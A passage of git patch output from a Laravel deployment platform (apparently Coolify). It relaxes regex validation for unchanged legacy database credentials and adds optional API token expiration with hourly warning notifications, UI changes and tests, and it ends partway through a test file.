index b178dd969..ea6d902e7 100644
--- a/app/Livewire/Project/Database/Mariadb/General.php
+++ b/app/Livewire/Project/Database/Mariadb/General.php
@@ -74,10 +74,18 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'mariadbRootPassword' => ValidationPatterns::databasePasswordRules(),
-            'mariadbUser' => ValidationPatterns::databaseIdentifierRules(),
-            'mariadbPassword' => ValidationPatterns::databasePasswordRules(),
-            'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules(),
+            'mariadbRootPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->mariadbRootPassword !== $this->database->mariadb_root_password,
+            ),
+            'mariadbUser' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->mariadbUser !== $this->database->mariadb_user,
+            ),
+            'mariadbPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->mariadbPassword !== $this->database->mariadb_password,
+            ),
+            'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->mariadbDatabase !== $this->database->mariadb_database,
+            ),
             'mariadbConf' => 'nullable',
             'image' => 'required',
             'portsMappings' => ValidationPatterns::portMappingRules(),
diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php
index 5c08b76e8..3af4b0b2a 100644
--- a/app/Livewire/Project/Database/Mongodb/General.php
+++ b/app/Livewire/Project/Database/Mongodb/General.php
@@ -75,9 +75,15 @@ protected function rules(): array
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
             'mongoConf' => 'nullable',
-            'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules(),
-            'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules(),
-            'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules(),
+            'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->mongoInitdbRootUsername !== $this->database->mongo_initdb_root_username,
+            ),
+            'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->mongoInitdbRootPassword !== $this->database->mongo_initdb_root_password,
+            ),
+            'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->mongoInitdbDatabase !== $this->database->mongo_initdb_database,
+            ),
             'image' => 'required',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php
index 7671ec572..34726bd0a 100644
--- a/app/Livewire/Project/Database/Mysql/General.php
+++ b/app/Livewire/Project/Database/Mysql/General.php
@@ -76,10 +76,18 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'mysqlRootPassword' => ValidationPatterns::databasePasswordRules(),
-            'mysqlUser' => ValidationPatterns::databaseIdentifierRules(),
-            'mysqlPassword' => ValidationPatterns::databasePasswordRules(),
-            'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules(),
+            'mysqlRootPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->mysqlRootPassword !== $this->database->mysql_root_password,
+            ),
+            'mysqlUser' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->mysqlUser !== $this->database->mysql_user,
+            ),
+            'mysqlPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->mysqlPassword !== $this->database->mysql_password,
+            ),
+            'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->mysqlDatabase !== $this->database->mysql_database,
+            ),
             'mysqlConf' => 'nullable',
             'image' => 'required',
             'portsMappings' => ValidationPatterns::portMappingRules(),
diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php
index 8c23bce8e..a9a4115fd 100644
--- a/app/Livewire/Project/Database/Postgresql/General.php
+++ b/app/Livewire/Project/Database/Postgresql/General.php
@@ -86,9 +86,15 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'postgresUser' => ValidationPatterns::databaseIdentifierRules(),
-            'postgresPassword' => ValidationPatterns::databasePasswordRules(),
-            'postgresDb' => ValidationPatterns::databaseIdentifierRules(),
+            'postgresUser' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->postgresUser !== $this->database->postgres_user,
+            ),
+            'postgresPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->postgresPassword !== $this->database->postgres_password,
+            ),
+            'postgresDb' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->postgresDb !== $this->database->postgres_db,
+            ),
             'postgresInitdbArgs' => 'nullable',
             'postgresHostAuthMethod' => 'nullable',
             'postgresConf' => 'nullable',
diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php
index 114c73a42..c3cc43972 100644
--- a/app/Livewire/Project/Database/Redis/General.php
+++ b/app/Livewire/Project/Database/Redis/General.php
@@ -81,8 +81,12 @@ protected function rules(): array
             'publicPortTimeout' => 'nullable|integer|min:1',
             'isLogDrainEnabled' => 'nullable|boolean',
             'customDockerRunOptions' => 'nullable',
-            'redisUsername' => ValidationPatterns::databaseIdentifierRules(),
-            'redisPassword' => ValidationPatterns::databasePasswordRules(),
+            'redisUsername' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->redisUsername !== $this->database->redis_username,
+            ),
+            'redisPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->redisPassword !== $this->database->redis_password,
+            ),
             'enableSsl' => 'boolean',
         ];
     }
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index c8f4171eb..09c40a466 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -82,8 +82,12 @@ class ValidationPatterns
 
     /**
      * Get validation rules for database identifier fields (username, database name).
+     *
+     * Set $enforcePattern to false to skip the regex check (for example when
+     * re-validating a legacy value on an existing record that has not been
+     * changed by the user). The length and type rules are always applied.
      */
-    public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63): array
+    public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63, bool $enforcePattern = true): array
     {
         $rules = [];
 
@@ -96,7 +100,10 @@ public static function databaseIdentifierRules(bool $required = true, int $minLe
         $rules[] = 'string';
         $rules[] = "min:$minLength";
         $rules[] = "max:$maxLength";
-        $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN;
+
+        if ($enforcePattern) {
+            $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN;
+        }
 
         return $rules;
     }
@@ -117,8 +124,12 @@ public static function databaseIdentifierMessages(string $field, string $label =
 
     /**
      * Get validation rules for database password fields.
+     *
+     * Set $enforcePattern to false to skip the regex check (for example when
+     * re-validating a legacy value on an existing record that has not been
+     * changed by the user). The length and type rules are always applied.
      */
-    public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128): array
+    public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128, bool $enforcePattern = true): array
     {
         $rules = [];
 
@@ -131,7 +142,10 @@ public static function databasePasswordRules(bool $required = true, int $minLeng
         $rules[] = 'string';
         $rules[] = "min:$minLength";
         $rules[] = "max:$maxLength";
-        $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN;
+
+        if ($enforcePattern) {
+            $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN;
+        }
 
         return $rules;
     }
diff --git a/tests/Unit/DatabaseCredentialDirtyValidationTest.php b/tests/Unit/DatabaseCredentialDirtyValidationTest.php
new file mode 100644
index 000000000..85063f9e0
--- /dev/null
+++ b/tests/Unit/DatabaseCredentialDirtyValidationTest.php
@@ -0,0 +1,87 @@
+<?php
+
+use App\Support\ValidationPatterns;
+
+// ── databasePasswordRules ─────────────────────────────────────────────────────
+
+it('databasePasswordRules includes regex rule by default', function () {
+    $rules = ValidationPatterns::databasePasswordRules();
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databasePasswordRules includes regex rule when enforcePattern true', function () {
+    $rules = ValidationPatterns::databasePasswordRules(enforcePattern: true);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databasePasswordRules omits regex rule when enforcePattern false', function () {
+    $rules = ValidationPatterns::databasePasswordRules(enforcePattern: false);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->toBeEmpty();
+});
+
+it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () {
+    $rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false);
+
+    expect($rules)->toContain('required');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:1');
+    expect($rules)->toContain('max:128');
+});
+
+it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () {
+    $rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false);
+
+    expect($rules)->toContain('nullable');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:2');
+    expect($rules)->toContain('max:64');
+    expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
+});
+
+// ── databaseIdentifierRules ───────────────────────────────────────────────────
+
+it('databaseIdentifierRules includes regex rule by default', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules();
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databaseIdentifierRules includes regex rule when enforcePattern true', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databaseIdentifierRules omits regex rule when enforcePattern false', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->toBeEmpty();
+});
+
+it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false);
+
+    expect($rules)->toContain('required');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:1');
+    expect($rules)->toContain('max:63');
+});
+
+it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false);
+
+    expect($rules)->toContain('nullable');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:1');
+    expect($rules)->toContain('max:30');
+    expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
+});

From 90ddbb357231ca3808f277eb87a63c8f650417e6 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 14:28:38 +0200
Subject: [PATCH 077/102] feat(security): support expiration on API tokens with
 warning notifications

Add optional expiration to personal API tokens. Users pick a duration
(1/7/30/60/90 days or Never) at creation time. Expired tokens are
rejected by Sanctum, pruned hourly by sanctum:prune-expired, and a
team notification fires ~24h before expiry so owners can rotate
before API calls start failing.

- ApiTokens Livewire component stores expires_at from expiresInDays
- Rework issued-tokens UI from card grid to table (matches other views)
- New ApiTokenExpirationWarningJob scheduled hourly (idempotent via RateLimiter)
- New ApiTokenExpiringNotification (email/discord/telegram/slack/pushover)
- api_token_expiring added to alwaysSendEvents so users cannot silence
  expiry warnings from the per-event notification toggle UI
- sanctum:prune-expired cadence moved from daily to hourly

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Console/Kernel.php                        |   3 +
 app/Jobs/ApiTokenExpirationWarningJob.php     |  49 ++++++++
 app/Livewire/Security/ApiTokens.php           |  14 ++-
 .../ApiTokenExpiringNotification.php          | 103 ++++++++++++++++
 app/Traits/HasNotificationSettings.php        |   1 +
 .../views/emails/api-token-expiring.blade.php |   7 ++
 .../livewire/security/api-tokens.blade.php    | 113 ++++++++++++------
 tests/Feature/ApiTokenExpirationTest.php      |  81 +++++++++++++
 .../Feature/ApiTokenExpirationWarningTest.php |  83 +++++++++++++
 9 files changed, 419 insertions(+), 35 deletions(-)
 create mode 100644 app/Jobs/ApiTokenExpirationWarningJob.php
 create mode 100644 app/Notifications/ApiTokenExpiringNotification.php
 create mode 100644 resources/views/emails/api-token-expiring.blade.php
 create mode 100644 tests/Feature/ApiTokenExpirationTest.php
 create mode 100644 tests/Feature/ApiTokenExpirationWarningTest.php

diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php
index c5e12b7ee..75ec31ae0 100644
--- a/app/Console/Kernel.php
+++ b/app/Console/Kernel.php
@@ -2,6 +2,7 @@
 
 namespace App\Console;
 
+use App\Jobs\ApiTokenExpirationWarningJob;
 use App\Jobs\CheckForUpdatesJob;
 use App\Jobs\CheckHelperImageJob;
 use App\Jobs\CheckTraefikVersionJob;
@@ -41,6 +42,8 @@ protected function schedule(Schedule $schedule): void
 
         // $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly();
         $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily();
+        $this->scheduleInstance->command('sanctum:prune-expired --hours=1')->hourly()->onOneServer();
+        $this->scheduleInstance->job(new ApiTokenExpirationWarningJob)->hourly()->onOneServer();
 
         if (isDev()) {
             // Instance Jobs
diff --git a/app/Jobs/ApiTokenExpirationWarningJob.php b/app/Jobs/ApiTokenExpirationWarningJob.php
new file mode 100644
index 000000000..a8f388c85
--- /dev/null
+++ b/app/Jobs/ApiTokenExpirationWarningJob.php
@@ -0,0 +1,49 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Models\PersonalAccessToken;
+use App\Models\Team;
+use App\Models\User;
+use App\Notifications\ApiTokenExpiringNotification;
+use Illuminate\Bus\Queueable;
+use Illuminate\Contracts\Queue\ShouldBeEncrypted;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Bus\Dispatchable;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Queue\SerializesModels;
+use Illuminate\Support\Facades\RateLimiter;
+use Laravel\Horizon\Contracts\Silenced;
+
+class ApiTokenExpirationWarningJob implements ShouldBeEncrypted, ShouldQueue, Silenced
+{
+    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
+
+    public $tries = 1;
+
+    public $timeout = 120;
+
+    public function handle(): void
+    {
+        PersonalAccessToken::query()
+            ->whereNotNull('expires_at')
+            ->where('expires_at', '>', now())
+            ->where('expires_at', '<=', now()->addDay())
+            ->where('tokenable_type', User::class)
+            ->chunkById(100, function ($tokens) {
+                foreach ($tokens as $token) {
+                    if (! $token->team_id) {
+                        continue;
+                    }
+                    RateLimiter::attempt(
+                        'api-token-expiring:'.$token->id,
+                        $maxAttempts = 0,
+                        function () use ($token) {
+                            Team::find($token->team_id)?->notify(new ApiTokenExpiringNotification($token));
+                        },
+                        $decaySeconds = 7 * 24 * 3600,
+                    );
+                }
+            });
+    }
+}
diff --git a/app/Livewire/Security/ApiTokens.php b/app/Livewire/Security/ApiTokens.php
index a263acedf..37d5332f3 100644
--- a/app/Livewire/Security/ApiTokens.php
+++ b/app/Livewire/Security/ApiTokens.php
@@ -13,10 +13,20 @@ class ApiTokens extends Component
 
     public ?string $description = null;
 
+    public ?int $expiresInDays = 30;
+
     public $tokens = [];
 
     public array $permissions = ['read'];
 
+    public array $expirationOptions = [
+        7 => '7 days',
+        30 => '30 days',
+        60 => '60 days',
+        90 => '90 days',
+        365 => '1 year',
+    ];
+
     public $isApiEnabled;
 
     public bool $canUseRootPermissions = false;
@@ -90,8 +100,10 @@ public function addNewToken()
 
             $this->validate([
                 'description' => 'required|min:3|max:255',
+                'expiresInDays' => 'nullable|integer|in:7,30,60,90,365',
             ]);
-            $token = auth()->user()->createToken($this->description, array_values($this->permissions));
+            $expiresAt = $this->expiresInDays ? now()->addDays($this->expiresInDays) : null;
+            $token = auth()->user()->createToken($this->description, array_values($this->permissions), $expiresAt);
             $this->getTokens();
             session()->flash('token', $token->plainTextToken);
         } catch (\Exception $e) {
diff --git a/app/Notifications/ApiTokenExpiringNotification.php b/app/Notifications/ApiTokenExpiringNotification.php
new file mode 100644
index 000000000..451dd312a
--- /dev/null
+++ b/app/Notifications/ApiTokenExpiringNotification.php
@@ -0,0 +1,103 @@
+<?php
+
+namespace App\Notifications;
+
+use App\Models\PersonalAccessToken;
+use App\Notifications\Dto\DiscordMessage;
+use App\Notifications\Dto\PushoverMessage;
+use App\Notifications\Dto\SlackMessage;
+use Illuminate\Notifications\Messages\MailMessage;
+
+class ApiTokenExpiringNotification extends CustomEmailNotification
+{
+    protected string $tokenName;
+
+    protected string $expiresAt;
+
+    protected string $manageUrl;
+
+    public function __construct(public PersonalAccessToken $token)
+    {
+        $this->onQueue('high');
+        $this->tokenName = $token->name;
+        $this->expiresAt = $token->expires_at?->format('Y-m-d H:i:s') ?? '';
+        $this->manageUrl = route('security.api-tokens');
+    }
+
+    public function via(object $notifiable): array
+    {
+        return $notifiable->getEnabledChannels('api_token_expiring');
+    }
+
+    public function toMail(): MailMessage
+    {
+        $mail = new MailMessage;
+        $mail->subject("Coolify: API token '{$this->tokenName}' expires in 24 hours");
+        $mail->view('emails.api-token-expiring', [
+            'tokenName' => $this->tokenName,
+            'expiresAt' => $this->expiresAt,
+            'manageUrl' => $this->manageUrl,
+        ]);
+
+        return $mail;
+    }
+
+    public function toDiscord(): DiscordMessage
+    {
+        $message = new DiscordMessage(
+            title: '🔑 API token expiring soon',
+            description: "API token **{$this->tokenName}** expires on {$this->expiresAt}.\n\n**Action Required:** Rotate this token before it expires to avoid API outages.",
+            color: DiscordMessage::warningColor(),
+        );
+
+        $message->addField('Manage tokens', "[Open Security settings]({$this->manageUrl})");
+
+        return $message;
+    }
+
+    public function toTelegram(): array
+    {
+        $message = "Coolify: API token '{$this->tokenName}' expires on {$this->expiresAt}.\n\nAction Required: Rotate this token before it expires to avoid API outages.";
+
+        return [
+            'message' => $message,
+            'buttons' => [
+                [
+                    'text' => 'Manage API tokens',
+                    'url' => $this->manageUrl,
+                ],
+            ],
+        ];
+    }
+
+    public function toPushover(): PushoverMessage
+    {
+        $message = "API token <b>{$this->tokenName}</b> expires on {$this->expiresAt}.<br/><br/>";
+        $message .= '<b>Action Required:</b> Rotate this token before it expires to avoid API outages.';
+
+        return new PushoverMessage(
+            title: 'API token expiring soon',
+            level: 'warning',
+            message: $message,
+            buttons: [
+                [
+                    'text' => 'Manage API tokens',
+                    'url' => $this->manageUrl,
+                ],
+            ],
+        );
+    }
+
+    public function toSlack(): SlackMessage
+    {
+        $description = "API token *{$this->tokenName}* expires on {$this->expiresAt}.\n\n";
+        $description .= "*Action Required:* Rotate this token before it expires to avoid API outages.\n\n";
+        $description .= "Manage tokens: {$this->manageUrl}";
+
+        return new SlackMessage(
+            title: '🔑 API token expiring soon',
+            description: $description,
+            color: SlackMessage::warningColor(),
+        );
+    }
+}
diff --git a/app/Traits/HasNotificationSettings.php b/app/Traits/HasNotificationSettings.php
index fded435fd..9333eb504 100644
--- a/app/Traits/HasNotificationSettings.php
+++ b/app/Traits/HasNotificationSettings.php
@@ -19,6 +19,7 @@ trait HasNotificationSettings
         'test',
         'ssl_certificate_renewal',
         'hetzner_deletion_failure',
+        'api_token_expiring',
     ];
 
     /**
diff --git a/resources/views/emails/api-token-expiring.blade.php b/resources/views/emails/api-token-expiring.blade.php
new file mode 100644
index 000000000..18871f6dc
--- /dev/null
+++ b/resources/views/emails/api-token-expiring.blade.php
@@ -0,0 +1,7 @@
+<x-emails.layout>
+Your Coolify API token ({{ $tokenName }}) expires on {{ $expiresAt }}.
+
+Rotate this token before it expires. API calls using this token will start failing once the expiration time is reached.
+
+Manage your API tokens [here]({{ $manageUrl }}).
+</x-emails.layout>
diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php
index 23f0e263e..69eab3e70 100644
--- a/resources/views/livewire/security/api-tokens.blade.php
+++ b/resources/views/livewire/security/api-tokens.blade.php
@@ -14,13 +14,19 @@
     <h3>New Token</h3>
     @can('create', App\Models\PersonalAccessToken::class)
         <form class="flex flex-col gap-2" wire:submit='addNewToken'>
-            <div class="flex gap-2 items-end w-96">
-                <x-forms.input required id="description" label="Description" />
+            <div class="flex gap-2 items-end w-lg">
+                <x-forms.input class="w-64" required id="description" label="Description" />
+                <x-forms.select id="expiresInDays" label="Expires in" wire:model="expiresInDays">
+                    @foreach ($expirationOptions as $days => $label)
+                        <option value="{{ $days }}">{{ $label }}</option>
+                    @endforeach
+                    <option value="">Never</option>
+                </x-forms.select>
                 <x-forms.button type="submit">Create</x-forms.button>
             </div>
             <div class="flex">
                 Permissions
-                <x-helper class="px-1" helper="These permissions will be granted to the token." /><span
+                <span
                     class="pr-1">:</span>
                 <div class="flex gap-1 font-bold dark:text-white">
                     @if ($permissions)
@@ -31,7 +37,6 @@ class="pr-1">:</span>
                 </div>
             </div>
 
-            <h4>Token Permissions</h4>
             <div class="w-64">
                 @if ($canUseRootPermissions)
                     <x-forms.checkbox label="root" wire:model.live="permissions" domValue="root"
@@ -71,38 +76,78 @@ class="pr-1">:</span>
         <div class="pb-4 font-bold dark:text-white"> {{ session('token') }}</div>
     @endif
     <h3 class="py-4">Issued Tokens</h3>
-    <div class="grid gap-2 lg:grid-cols-1">
-        @forelse ($tokens as $token)
-            <div wire:key="token-{{ $token->id }}"
-                class="flex flex-col gap-1 p-2 border dark:border-coolgray-200 hover:no-underline">
-                <div>Description: {{ $token->name }}</div>
-                <div>Last used: {{ $token->last_used_at ? $token->last_used_at->diffForHumans() : 'Never' }}</div>
-                <div class="flex gap-1">
-                    @if ($token->abilities)
-                        Permissions:
-                        @foreach ($token->abilities as $ability)
-                            <div class="font-bold dark:text-white">{{ $ability }}</div>
-                        @endforeach
-                    @endif
+    <div class="flex flex-col">
+        <div class="flex flex-col">
+            <div class="overflow-x-auto">
+                <div class="inline-block min-w-full">
+                    <div class="overflow-hidden">
+                        <table class="min-w-full">
+                            <thead>
+                                <tr>
+                                    <th class="px-5 py-3 text-xs font-medium text-left uppercase">Description</th>
+                                    <th class="px-5 py-3 text-xs font-medium text-left uppercase">Permissions</th>
+                                    <th class="px-5 py-3 text-xs font-medium text-left uppercase">Last used</th>
+                                    <th class="px-5 py-3 text-xs font-medium text-left uppercase">Created</th>
+                                    <th class="px-5 py-3 text-xs font-medium text-left uppercase">Expires</th>
+                                    <th class="px-5 py-3 text-xs font-medium text-left uppercase">Actions</th>
+                                </tr>
+                            </thead>
+                            <tbody>
+                                @forelse ($tokens as $token)
+                                    <tr wire:key="token-{{ $token->id }}">
+                                        <td class="px-5 py-4 text-sm whitespace-nowrap">{{ $token->name }}</td>
+                                        <td class="px-5 py-4 text-sm whitespace-nowrap">
+                                            @if ($token->abilities)
+                                                <div class="flex gap-1">
+                                                    @foreach ($token->abilities as $ability)
+                                                        <div class="font-bold dark:text-white">{{ $ability }}</div>
+                                                    @endforeach
+                                                </div>
+                                            @endif
+                                        </td>
+                                        <td class="px-5 py-4 text-sm whitespace-nowrap">
+                                            {{ $token->last_used_at ? $token->last_used_at->diffForHumans() : 'Never' }}
+                                        </td>
+                                        <td class="px-5 py-4 text-sm whitespace-nowrap">
+                                            {{ $token->created_at->diffForHumans() }}
+                                        </td>
+                                        <td class="px-5 py-4 text-sm whitespace-nowrap">
+                                            @if (! $token->expires_at)
+                                                Never
+                                            @elseif ($token->expires_at->isPast())
+                                                <span class="font-bold dark:text-error">Expired
+                                                    {{ $token->expires_at->format('Y-m-d H:i:s') }}</span>
+                                            @else
+                                                {{ $token->expires_at->format('Y-m-d H:i:s') }}
+                                            @endif
+                                        </td>
+                                        <td class="px-5 py-4 text-sm font-medium whitespace-nowrap">
+                                            @if (auth()->id() === $token->tokenable_id)
+                                                <x-modal-confirmation title="Confirm API Token Revocation?" isErrorButton
+                                                    buttonTitle="Revoke token"
+                                                    submitAction="revoke({{ data_get($token, 'id') }})" :actions="[
+                                                        'This API Token will be revoked and permanently deleted.',
+                                                        'Any API call made with this token will fail.',
+                                                    ]"
+                                                    confirmationText="{{ $token->name }}"
+                                                    confirmationLabel="Please confirm the execution of the actions by entering the API Token Description below"
+                                                    shortConfirmationLabel="API Token Description" :confirmWithPassword="false"
+                                                    step2ButtonText="Revoke API Token" />
+                                            @endif
+                                        </td>
+                                    </tr>
+                                @empty
+                                    <tr>
+                                        <td class="px-5 py-4 text-sm whitespace-nowrap" colspan="6">No API tokens found.
+                                        </td>
+                                    </tr>
+                                @endforelse
+                            </tbody>
+                        </table>
+                    </div>
                 </div>
-
-                @if (auth()->id() === $token->tokenable_id)
-                    <x-modal-confirmation title="Confirm API Token Revocation?" isErrorButton buttonTitle="Revoke token"
-                        submitAction="revoke({{ data_get($token, 'id') }})" :actions="[
-                            'This API Token will be revoked and permanently deleted.',
-                            'Any API call made with this token will fail.',
-                        ]"
-                        confirmationText="{{ $token->name }}"
-                        confirmationLabel="Please confirm the execution of the actions by entering the API Token Description below"
-                        shortConfirmationLabel="API Token Description" :confirmWithPassword="false"
-                        step2ButtonText="Revoke API Token" />
-                @endif
             </div>
-        @empty
-            <div>
-                <div>No API tokens found.</div>
-            </div>
-        @endforelse
+        </div>
     </div>
     @endif
 </div>
diff --git a/tests/Feature/ApiTokenExpirationTest.php b/tests/Feature/ApiTokenExpirationTest.php
new file mode 100644
index 000000000..99a952848
--- /dev/null
+++ b/tests/Feature/ApiTokenExpirationTest.php
@@ -0,0 +1,81 @@
+<?php
+
+use App\Livewire\Security\ApiTokens;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    session(['currentTeam' => $this->team]);
+    $this->actingAs($this->user);
+});
+
+describe('token creation with expiration', function () {
+    test('livewire component stores expires_at when expiresInDays set', function () {
+        Livewire::test(ApiTokens::class)
+            ->set('description', 'test-token')
+            ->set('expiresInDays', 7)
+            ->set('permissions', ['read'])
+            ->call('addNewToken')
+            ->assertHasNoErrors();
+
+        $token = $this->user->tokens()->latest()->first();
+
+        expect($token)->not->toBeNull()
+            ->and($token->expires_at)->not->toBeNull()
+            ->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6)
+            ->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7);
+    });
+
+    test('livewire component stores null expires_at when expiresInDays null (Never)', function () {
+        Livewire::test(ApiTokens::class)
+            ->set('description', 'never-token')
+            ->set('expiresInDays', null)
+            ->set('permissions', ['read'])
+            ->call('addNewToken')
+            ->assertHasNoErrors();
+
+        $token = $this->user->tokens()->latest()->first();
+
+        expect($token)->not->toBeNull()
+            ->and($token->expires_at)->toBeNull();
+    });
+
+    test('livewire component rejects invalid expiresInDays value', function () {
+        Livewire::test(ApiTokens::class)
+            ->set('description', 'bad-token')
+            ->set('expiresInDays', 42)
+            ->set('permissions', ['read'])
+            ->call('addNewToken')
+            ->assertHasErrors('expiresInDays');
+    });
+});
+
+describe('expired token rejected on API', function () {
+    test('request with expired token returns 401', function () {
+        $token = $this->user->createToken('expired', ['read'], now()->subDay());
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$token->plainTextToken,
+        ])->getJson('/api/v1/projects');
+
+        $response->assertStatus(401);
+    });
+
+    test('request with non-expired token works', function () {
+        $token = $this->user->createToken('valid', ['read'], now()->addDay());
+
+        $response = $this->withHeaders([
+            'Authorization' => 'Bearer '.$token->plainTextToken,
+        ])->getJson('/api/v1/projects');
+
+        $response->assertStatus(200);
+    });
+});
diff --git a/tests/Feature/ApiTokenExpirationWarningTest.php b/tests/Feature/ApiTokenExpirationWarningTest.php
new file mode 100644
index 000000000..5255581dd
--- /dev/null
+++ b/tests/Feature/ApiTokenExpirationWarningTest.php
@@ -0,0 +1,83 @@
+<?php
+
+use App\Jobs\ApiTokenExpirationWarningJob;
+use App\Models\PersonalAccessToken;
+use App\Models\Team;
+use App\Models\User;
+use App\Notifications\ApiTokenExpiringNotification;
+use Carbon\Carbon;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Cache;
+use Illuminate\Support\Facades\Notification;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    $this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]);
+    $this->team->discordNotificationSettings()->update([
+        'discord_enabled' => true,
+        'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake',
+    ]);
+
+    session(['currentTeam' => $this->team]);
+    $this->actingAs($this->user);
+
+    Cache::flush();
+    Notification::fake();
+});
+
+function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt): PersonalAccessToken
+{
+    $plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt);
+    $token = $plain->accessToken;
